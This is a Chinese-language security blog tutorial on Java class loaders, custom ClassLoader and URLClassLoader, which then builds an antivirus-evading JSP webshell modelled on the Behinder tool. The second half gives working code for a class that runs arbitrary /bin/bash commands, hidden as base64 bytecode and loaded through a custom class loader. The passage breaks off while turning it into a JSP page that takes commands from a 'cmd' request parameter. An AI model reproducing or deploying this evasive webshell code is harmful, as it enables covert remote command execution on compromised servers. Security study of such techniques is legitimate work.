• Java通过自定义类加载器模拟冰蝎免杀功能


    一、Java类加载

    类加载器属于JVM的一个重要知识点,也是Java安全里命令执行、webshell管理器编写的常用技术。

    类加载器简介

    我们知道java源文件在运行前会被编译为class类文件,存放着编译后JVM虚拟机指令的二进制字节流。当使用某类时,JVM就会加载它并在内存中创建对应的class对象。该过程称为类的加载。

    类加载过程

    过程如下:

    • 加载阶段
      通过一个类的完全限定名称来查找该类的字节码文件,并利用字节码文件来创建一个Class对象。
    • 链接阶段
      负责把类的二进制数据合并到JRE中。
      又可以分为以下三个阶段:
      1、验证阶段
      用来确保Class文件中包含的字节流信息符合当前Java虚拟机的要求。
      2、准备阶段
      为static修饰的静态类变量分配内存,并将其设置为默认值;
      不会分配并初始化用 final 修饰符修饰的 static 变量,因为该类变量在编译时就会被分配到内存空间;
      不会分配并初始化实例变量,因为实例变量会随对象一起分配到 Java 堆中,而不是 Java 方法区;
      3、解析阶段
      将类的二进制数据中的符号引用转换为直接引用。
    • 初始化阶段
      类加载的最后阶段,若该类具有父类,则先对父类进行初始化,执行静态变量赋值和静态代码块代码,成员变量也将被初始化。

    类加载器

    类加载器可以分为两种:
    一种是Java虚拟机自带的类加载器,分别为启动类加载器、扩展类加载器、系统类加载器。

    • 启动类加载器(Bootstrap ClassLoader)
    1. 底层由C/C++ 实现,不继承java.lang.ClassLoader类,不存在父类加载器;
      1. public static void main(String[] args) {
      2. ClassLoader c1 = Object.class.getClassLoader();
      3. System.out.println(c1); // 加载器打印出来的结果是null
      4. }
    2. 负责加载%JAVA_HOME%/jre/lib目录下的核心类库,比如 rt.jar、charsets.jar 等;
    3. 负责加载 %JAVA_HOME%/jre/classes 中的类;
    • 扩展类加载器(Extensions ClassLoader)
    1. 加载 Java 的扩展列库,默认加载 %JAVA_HOME%/jre/lib/ext扩展目录中的类库或由 java.ext.dirs系统变量指定的目录下的类库;
    2. 系统类加载器的父类是扩展类加载器,扩展类加载器的父类是启动类加载器;
    • 系统类加载器(App ClassLoader)
    1. 负责加载ClassPath环境变量下或者系统属性java.class.path的所有类库,主要是加载开发人员编写的类库;
    2. Java 程序默认的类加载器;
    3. 是用户自定义的任何类加载器的默认父类加载器;

    一种是用户自定义的类加载器,是java.lang.ClassLoader子类实例。

    加载用户自定义路径下的类包,通过继承java.lang.ClassLoader类的方式来实现。即父类为系统类加载器。

    双亲委派机制

    通过上面学习,我们知道了JVM默认有三种类加载器。除了根类加载器之外,其他的类加载器都需要有自己的父加载器。
    那在加载class字节码文件时到底哪个类加载器会去加载呢?这实际上就是"双亲委派机制"。

    当一个类加载器需要加载类时,先去判断该类是否已经被加载,如果已加载则直接返回,如果没有被加载,就向上委托父类加载器。父类加载器也会重复同样的操作,直到"启动类加载器"。确定类未被加载,启动类加载器首先会去对应的目录下%JAVA_HOME%jre/lib/搜索该类。

    如果找到就加载,如果没有找到就去子类加载器重复同样的操作,去对应的目录下查找该类。最后到用户自定义的类加载器,如果还没有找到就抛出ClassNotFoundException异常退出。

    自定义类加载器

    下面来看一看java.lang.ClassLoader.class中的几个核心方法:

    loadClass(String name, boolean resolve)

    也是双亲委托模式的代码实现。该方法会先调用findLoadedClass(String)来检查类是否已经加载过;接着递归调用父类加载器,如果父类加载器不为null,则调用父类加载器的的loadClass()方法来寻找该类并加载,如果父类加载器为null,则说明到了引导类加载器。

    如果父类加载器均找不到这个类,则调用自定义的findClass()方法寻找并加载该类,最后根据resolve值选择是否对 Class 进行动态链接操作。

     defineClass(String name, byte[] b, int off, int len)

    该方法主要将类的字节流转换为java.lang.Class实例对象。

    1. String name 表示二进制形式的类名
    2. byte[] b 表示类的字节流,字节流可以来自Class文件,也可以来自网络或其他途径
    3. int off 表示类的字节流的起始偏移量
    4. int len 表示类的字节流的大小
    findClass(String name)

    该方法用来查找一个类,在自定义类加载器时,一般我们需要重写这个方法。以此来获取要加载类的字节码,然后调用defineClass()方法生成Class对象。

    所以想自定义实现类加载器,必须满足:

    1、继承java.lang.ClassLoader.class
    2、重写findClass()方法

    过程

    下面尝试编写一个Test类:

    1. public class Test {
    2. public String Demo1(){
    3. return "hello cseroad";
    4. }
    5. }

    将该类进行编译生成class字节码文件。

    再编写一个方法获取该class字节码二进制文件的byte数组。

    1. import java.io.ByteArrayOutputStream;
    2. import java.io.File;
    3. import java.io.FileInputStream;
    4. import java.util.Arrays;
    5. /**
    6. * @author cseroad
    7. */
    8. public class Demo {
    9. public static byte[] getBytesByFile(String pathStr) {
    10. File file = new File(pathStr);
    11. try {
    12. FileInputStream in = new FileInputStream(file);
    13. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    14. byte[] buf = new byte[1024];
    15. int len = -1;
    16. while ((len = in.read(buf)) != -1) {
    17. baos.write(buf, 0, len);
    18. }
    19. byte[] data = baos.toByteArray(); // 读取到的字节码的二进制数据
    20. in.close();
    21. baos.close();
    22. return data;
    23. } catch (Exception e) {
    24. e.printStackTrace();
    25. }
    26. return null;
    27. }
    28. public static void main(String[] args) {
    29. Demo demo = new Demo();
    30. byte[] bytesByFile = demo.getBytesByFile("/Users/cseroad/IdeaProjects/Project_Java/out/production/Java_study/com/atguigu/test/Test.class");
    31. System.out.println(Arrays.toString(bytesByFile));
    32. }
    33. }

    要实现自定义的类加载器,先创建一个类继承ClassLoader加载器并重写findClass()方法。

    1. public class TestClassLoad extends ClassLoader {
    2. @Override
    3. protected Class findClass(String name) throws ClassNotFoundException {
    4. return super.findClass(name);
    5. }
    6. }

    在该方法里实现调用defineClass()方法来生成Class对象。

    1. protected Class findClass(String name) {
    2. byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 55, 0, 20, 10, 0, 4, 0, 16, 8, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 23, 76, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 59, 1, 0, 5, 68, 101, 109, 111, 49, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 13, 104, 101, 108, 108, 111, 32, 99, 115, 101, 114, 111, 97, 100, 1, 0, 21, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 10, 0, 11, 0, 0, 0, 1, 0, 12, 0, 13, 0, 1, 0, 7, 0, 0, 0, 45, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 3, 0, 10, 0, 11, 0, 0, 0, 1, 0, 14, 0, 0, 0, 2, 0, 15};
    3. return super.defineClass("com.atguigu.test.Test",bytes, 0, bytes.length);
    4. }

    主函数调用loadClass()方法就可以自动加载该类。

    1. public static void main(String[] args) throws ClassNotFoundException {
    2. TestClassLoad testClassLoad = new TestClassLoad();
    3. //Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
    4. Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
    5. System.out.println(aClass);
    6. }

    再利用反射创建对象调用方法。

    1. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
    2. TestClassLoad testClassLoad = new TestClassLoad();
    3. //Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
    4. Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
    5. System.out.println(aClass);
    6. Object o = aClass.newInstance();
    7. Method demo1 = aClass.getMethod("Demo1");
    8. Object invoke = demo1.invoke(o);
    9. System.out.println(invoke);
    10. }

    综上代码为:

    1. import java.lang.reflect.InvocationTargetException;
    2. import java.lang.reflect.Method;
    3. import java.util.Base64;
    4. public class TestClassLoad extends ClassLoader {
    5. @Override
    6. protected Class findClass(String name) {
    7. byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 55, 0, 20, 10, 0, 4, 0, 16, 8, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 23, 76, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 59, 1, 0, 5, 68, 101, 109, 111, 49, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 13, 104, 101, 108, 108, 111, 32, 99, 115, 101, 114, 111, 97, 100, 1, 0, 21, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 10, 0, 11, 0, 0, 0, 1, 0, 12, 0, 13, 0, 1, 0, 7, 0, 0, 0, 45, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 3, 0, 10, 0, 11, 0, 0, 0, 1, 0, 14, 0, 0, 0, 2, 0, 15};
    8. //String classStr = "yv66vgAAADcAFAoABAAQCAARBwASBwATAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMY29tL2F0Z3VpZ3UvdGVzdC9UZXN0OwEABURlbW8xAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAFAAYBAA1oZWxsbyBjc2Vyb2FkAQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAAhAAMABAAAAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwABsQAAAAIACAAAAAYAAQAAAAcACQAAAAwAAQAAAAUACgALAAAAAQAMAA0AAQAHAAAALQABAAEAAAADEgKwAAAAAgAIAAAABgABAAAACQAJAAAADAABAAAAAwAKAAsAAAABAA4AAAACAA8=";
    9. //byte[] bytes = Base64.getDecoder().decode(classStr);
    10. return super.defineClass(bytes, 0, bytes.length);
    11. }
    12. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
    13. TestClassLoad testClassLoad = new TestClassLoad();
    14. //Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
    15. Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
    16. System.out.println(aClass);
    17. Object o = aClass.newInstance();
    18. Method demo1 = aClass.getMethod("Demo1");
    19. Object invoke = demo1.invoke(o);
    20. System.out.println(invoke);
    21. }
    22. }

    传入字节数组时可以直接读取字节码文件转化为byte数组,也可以base64编码再解码读取。

    URLClassLoader

    URLClassLoader继承了ClassLoader,可以通过java.net.URLClassLoader.class该类加载器从本地或者网络上指定的位置加载类。

    1. public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, MalformedURLException, ClassNotFoundException {
    2. //从文件系统目录下加载
    3. File f = new File("/Users/cseroad/Downloads/");
    4. URL url = f.toURL();
    5. //从网络上加载
    6. //URL url = new URL("http://127.0.0.1:8000/");
    7. URLClassLoader test1 = new URLClassLoader(new URL[]{url});
    8. Class aClass = test1.loadClass("com.atguigu.test.Demo");
    9. System.out.println(aClass);
    10. Object o = aClass.newInstance();
    11. Method demo1 = aClass.getMethod("Demo2");
    12. Object invoke = demo1.invoke(o);
    13. System.out.println(invoke);
    14. }

    扩展

    在上文我们已经学习了如何自定义类加载器的方式调用其方法,加载class字节码文件并生成对应的Class对象。基于此,完全可以编写一个恶意类,也通过自定义类加载器的方式生成恶意的Class对象。

    1. public void Eval() throws IOException {
    2. Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    3. }

    创建Eval()方法执行系统命令,自定义类加载器加载该字节码文件:

    1. public void Test() throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, MalformedURLException, ClassNotFoundException {
    2. TestClassLoad testClassLoad = new TestClassLoad();
    3. String classStr = "yv66vgAAADcAJAoABwAWCAAXCgAYABkIABoKABgAGwcAHAcAHQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEACkV4Y2VwdGlvbnMHAB4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkBAA1oZWxsbyBjc2Vyb2FkBwAfDAAgACEBAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAiACMBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAMAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAEACgAAAC0AAQABAAAAAxICsAAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAMADQAOAAAAAQARAAkAAgAKAAAAOAACAAEAAAAKuAADEgS2AAVXsQAAAAIACwAAAAoAAgAAAA4ACQAPAAwAAAAMAAEAAAAKAA0ADgAAABIAAAAEAAEAEwABABQAAAACABU=";
    4. byte[] bytes = Base64.getDecoder().decode(classStr);
    5. Class aClass = testClassLoad.defineClass("com.atguigu.test.Test", bytes, 0, bytes.length);
    6. System.out.println(aClass);
    7. Object o = aClass.newInstance();
    8. Method demo1 = aClass.getMethod("Eval");
    9. Object invoke = demo1.invoke(o);
    10. System.out.println(invoke);
    11. }

    总结: 

    介绍了JVM内置的三种类加载器,以及如何自定义编写类加载器实现方法的调用,如何利用URLClassLoader远程加载类并调用方法执行代码。

    二、通过类加载器实现Jsp Webshell 免杀

    通过java类加载器的学习,我们对webshell的免杀处理就可以更进一步。

    通过自定义的类加载器实现了命令执行的webshell,再进一步靠近蚁剑、冰蝎的webshell,最后修改服务端webshell达到免杀的效果。

    自定义类加载器-命令执行

    对于如何自定义类加载的详细过程,可参考 Java 类加载器学习 。这里就不多阐述了。

    我们直接创建一个恶意类,里面的Eval方法编写调用Runtime.getRuntime().exec进行命令执行。

    1. package com.atguigu.test;
    2. import java.io.BufferedReader;
    3. import java.io.IOException;
    4. import java.io.InputStream;
    5. import java.io.InputStreamReader;
    6. /**
    7. * @author cseroad
    8. */
    9. public class Test {
    10. public String Demo1() {
    11. return "hello cseroad";
    12. }
    13. public String Eval(String cmd) throws IOException {
    14. StringBuilder var_str = new StringBuilder();
    15. Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
    16. InputStream input = p.getInputStream();
    17. InputStreamReader ins = new InputStreamReader(input, "GBK");
    18. BufferedReader br = new BufferedReader(ins);
    19. String line;
    20. while ((line = br.readLine()) != null) {
    21. var_str.append(line).append("\n");
    22. }
    23. String vars = var_str.toString();
    24. br.close();
    25. ins.close();
    26. input.close();
    27. p.getOutputStream().close();
    28. return vars;
    29. }
    30. }

    将该类编译为class字节码文件后base64编码,方便读取class字节码文件内容。

    然后自定义一个类加载器,并重写findClass()方法。该方法用来查找一个类,并在方法里调用defineClass()方法将字节流实例化为对象。

    1. public class DemoClassload extends ClassLoader {
    2. protected Class findClass(String name) {
    3. String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
    4. byte[] bytes = Base64.getDecoder().decode(classStr);
    5. return super.defineClass(bytes, 0, bytes.length);
    6. }
    7. }

    创建主函数去调用该方法,并传给它类名。

    1. public static void main(String[] args) {
    2. TestClassLoad testClassLoad = new TestClassLoad();
    3. Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
    4. //Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
    5. System.out.println(aClass);
    6. }

    这样这个类就拿到了。然后就是反射调用Eval()方法,传递变量值。

    代码如下:

    1. import java.lang.reflect.InvocationTargetException;
    2. import java.lang.reflect.Method;
    3. import java.util.Base64;
    4. /**
    5. * @author cseroad
    6. */
    7. public class TestClassLoad extends ClassLoader {
    8. protected Class findClass(String name) {
    9. String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
    10. byte[] bytes = Base64.getDecoder().decode(classStr);
    11. return super.defineClass(bytes, 0, bytes.length);
    12. }
    13. public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
    14. TestClassLoad testClassLoad = new TestClassLoad();
    15. Class aClass = testClassLoad.findClass("com.atguigu.test.Test");
    16. //Class aClass = testClassLoad.loadClass("com.atguigu.test.Test");
    17. System.out.println(aClass);
    18. Object o = aClass.newInstance();
    19. Method demo1 = aClass.getMethod("Eval",String.class);
    20. Object invoke = demo1.invoke(o,"whoami");
    21. System.out.println(invoke);
    22. }
    23. }

    可以正常执行命令。再将该自定义加载类改写为jsp页面。

    注:mac下java版本和windows下java版本不一致,需要在windows下javac重新编译

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%@ page import="java.lang.reflect.Method" %>
    3. <%@ page import="java.util.Base64" %>
    4. <%
    5. try {
    6. out.println(System.getProperty("os.name").toLowerCase());
    7. String cmd = request.getParameter("cmd");
    8. if (cmd != null) {
    9. class DemoClassload extends ClassLoader {
    10. protected Class findClass(String name) {
